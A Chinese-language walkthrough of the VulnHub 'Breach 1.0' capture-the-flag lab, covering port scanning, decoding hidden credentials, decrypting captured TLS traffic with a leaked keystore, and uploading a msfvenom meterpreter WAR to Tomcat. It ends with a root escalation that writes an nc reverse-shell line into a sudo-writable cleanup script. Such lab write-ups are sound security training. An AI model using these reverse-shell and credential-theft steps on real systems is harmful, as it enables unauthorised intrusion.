目录

配置靶机网络

信息收集

端口扫描

网站信息收集

查找网站漏洞

wireshark分析包

找到后台页面

获取shell

使用菜刀失败

使用msf

提权

提权过程


配置靶机网络

作者提示:The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.
意思是靶机已经配置了静态IP地址为192.168.110.140,所以为了和靶机通行需要把kali主机的网卡设置一下。
这里在virtualbox中可以配置一块新的网卡,为了在同一地址段,设置如下。

VnlnHub breach1.0

然后让靶机和kali主机通过这个网卡连接。使用host-only的方式。VnlnHub breach1.0

信息收集

端口扫描

先扫描下端口,习惯性的采用全面扫描的方式
nmap -A -T4 -v 192.168.110.140

VnlnHub breach1.0

这里发现打开了相当多的端口,大概是有防止探测端口的策略
使用秘密扫描能绕过这个策略。

VnlnHub breach1.0

通过扫描结果,这里大概了解到打开了80端口的web服务,在8443端口上有https加密之类的服务

网站信息收集

打开网站,首页没有什么信息

VnlnHub breach1.0

单击图片,会跳转到一个有更多功能的页面initech.html

VnlnHub breach1.0

这里可以先用nikto简单扫描一下
mikto -host http://192.168.110.140

VnlnHub breach1.0这里发现一个敏感目录images可以看看
http://192.168.110.140/images/

VnlnHub breach1.0

分别打开这些图片看看

这里有张有趣的图片bill.png ,上面的意思是查看一下源码。看来这是一个提示。

VnlnHub breach1.0

查看首页的源代码,发现一串可疑的**释数据

VnlnHub breach1.0

把这串字符拿去base64解码,需要解两次

VnlnHub breach1.0

VnlnHub breach1.0

最终获得pgibbons:damnitfeel$goodtobeagang$ta
看上去像一个帐号密码。

查找网站漏洞

找一些网站是否存在一些漏洞可以利用
查看一下initech.html页面的源码,也有个小提示

VnlnHub breach1.0

              I'm sitting on a beach reading your email | 我坐在沙滩上看你的邮件
点击Employee portal,会进入一个impresscms的网页,输入我们前面获取的用户名密码

VnlnHub breach1.0

登录后发现Inbox似乎有特殊内容。

VnlnHub breach1.0

inbox里面确实存放的是邮件,我们现在使用的用户是pgibbons

VnlnHub breach1.0

第1封邮件,是bill给peter的,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全。
第2封邮件,是Michael给Peter的,主要内容:Michael采购了IDS/IPS。(扫描端口遇到障碍估计就是这个原因)
第3封邮件比较关键,看不懂,反正就是说感谢购买什么秘密证书,有个ssl证书请不要泄漏,然后猪队友所保存了文件在 192.168.110.140/.keystoreBob 中

VnlnHub breach1.0

访问http://192.168.110.140/.keystore下载包含SSL证书的**库keystore文件,keystore是存储公私**的一种文件格式。

VnlnHub breach1.0

查看其他地方,看有什么收获
点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接

VnlnHub breach1.0

点击完上图的链接,跳转到如下界面,标题SSL implementation test capture,翻译过来就是SSL实施测试捕获。大概是测试ssl服务用的。里面的内容大概就是peter的抱怨,这个ssl是什么呀,难道我们被加密了吗。

VnlnHub breach1.0

其中“They told me the alias, storepassword and keypassword are all set to 'tomcat'. ”表示别名、存储密码和**密码都设置为“tomcat”
其中可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,点击即可下载

VnlnHub breach1.0
对于cms漏洞的利用,这里有个sql注入漏洞,然而我打开漏洞的页面却被重定向了,看别人似乎也用不了这个cms漏洞。

VnlnHub breach1.0

VnlnHub breach1.0

VnlnHub breach1.0

wireshark分析包

使用wireshark打开下载的_SSL_test_phase1.pcap文件

VnlnHub breach1.0

发现其中确实存在TLS加密协议,最新版wireshark已经 ssl 改为 tls,其实ssl/tls都已统称通信加密协议
查看keystore这个**库里面的所有证书 。**库口令输入tomcat

keytool -list -keystore keystore

VnlnHub breach1.0

从**库导出.p12证书
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

VnlnHub breach1.0

将.p12证书导入Wireshark

VnlnHub breach1.0

配置如下:

192.168.110.140 8443 http 证书存放路径 tomcat(这里8443端口我们有使用nmap探测出来,其次查看加密前的文件也会发现数据流向这个端口)

VnlnHub breach1.0

导入证书后,https流量已经被解密,查看每个http流量包

VnlnHub breach1.0

找到后台页面

在解密的http流量中,发现如下敏感目录

VnlnHub breach1.0

访问这个目录,发现建立连接失败
https://192.168.110.140:8443/[email protected]/html

VnlnHub breach1.0

使用burp代理,其中burp为放包状态

VnlnHub breach1.0

登录后发现需要输入用户名密码

VnlnHub breach1.0

回头继续看其它的http流量,发现其中暴露了一个basic认证过程

VnlnHub breach1.0

wireshark提供了解密:tomcat:Tt\5D8F(#!*u=G)4m7zB
使用这个帐号密码登录刚刚的页面。

VnlnHub breach1.0

获取shell

使用菜刀失败

在这个页面具有上传文件的功能
VnlnHub breach1.0
限制了上传文件的后缀

VnlnHub breach1.0

将文件通过zip打包后,修改后缀名为.war

VnlnHub breach1.0

感觉能连接到这个文件

VnlnHub breach1.0

使用菜刀出现如下报错

VnlnHub breach1.0

百度了一下,可能原因为:https通过TSLv1和TSLv1.2协议通信。
假如服务器端设置是TSLv1.2,而客服端是TSLv1, 访问就会出现Remote host closed connection during handshake的错误.

使用msf

使用msf生成一个反弹shell的payload
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.1 lport=4444 -f war -o shell.war

VnlnHub breach1.0

配置payload的处理器
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.1
set lport 4444

VnlnHub breach1.0

运行

VnlnHub breach1.0

成功拿到shell

VnlnHub breach1.0

提权

获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

VnlnHub breach1.0

查看passwd文件,看下有什么用户

VnlnHub breach1.0

切换到网站根目录,网页部署目录/var/www/5446/,查看当前文件下的文件

VnlnHub breach1.0

两个php文件内容相同,在其中找到了mysql的配置,获取到了root用户空密码的信息

VnlnHub breach1.0

使用root用户连接mysql,查看数据库有哪些

VnlnHub breach1.0

切换到mysql数据库,查看这个数据库中的表

VnlnHub breach1.0

查询表中的列
show columns from user;

VnlnHub breach1.0

查找关键字段
select user,password from user;

VnlnHub breach1.0

得到一条有用的数据,使用md5解密密码
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2

VnlnHub breach1.0

获取密码thelaststraw
切换到我们刚获取的新用户

VnlnHub breach1.0

在新用户milton的家目录下寻找信息。但似乎没有关键信息

VnlnHub breach1.0

查看有没有隐藏文件

VnlnHub breach1.0

查看保存历史命令输入的文件,发现milton有切换到blumbergh用户的记录
VnlnHub breach1.0

尝试从图片中收集可能的信息,使用strings打印各图片其中的可打印字符,保存在文件中

VnlnHub breach1.0

分析保存的这些字符,找到一个可能的密码coffeestains。(只有这个是唯一的单词)

VnlnHub breach1.0

使用coffeestains尝试登录blumbergh用户

VnlnHub breach1.0

在blumbergh家目录下查看所有文件

VnlnHub breach1.0

查看执行过的命令

VnlnHub breach1.0

中间出现了一个脚本,查看这个脚本文件

VnlnHub breach1.0

这段脚本的意思是切换到/var/lib/tomcat6/webapps目录下,然后寻找swingline目录下的文件,并清除。xargs 可以将管道或标准输入(stdin)数据转换成命令行参数。
查看blumbergh用户可以sudo执行的命令,发现可以通过sudo执行root权限的tee命令和tidyuo脚本
VnlnHub breach1.0

tee命令用于读取标准输入的数据,并将其内容输出成文件。
查看这个脚本文件的权限,只能由root用户写

VnlnHub breach1.0

提权过程

先写入反弹shell命令到文件中
echo "nc 192.168.110.1 5555 -e /bin/bash" >> shell.txt

VnlnHub breach1.0

然后把反弹shell命令通过sudo执行tee命令写入到tidyuo.sh脚本中
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

VnlnHub breach1.0

攻击机将提前开启监听

VnlnHub breach1.0

获取flag

VnlnHub breach1.0

总结:这个靶机的难度偏高一点。

相关文章:

猜你喜欢
  • 2022-12-23
  • 2021-05-19
  • 2021-05-12
  • 2021-12-20
相关资源
相似解决方案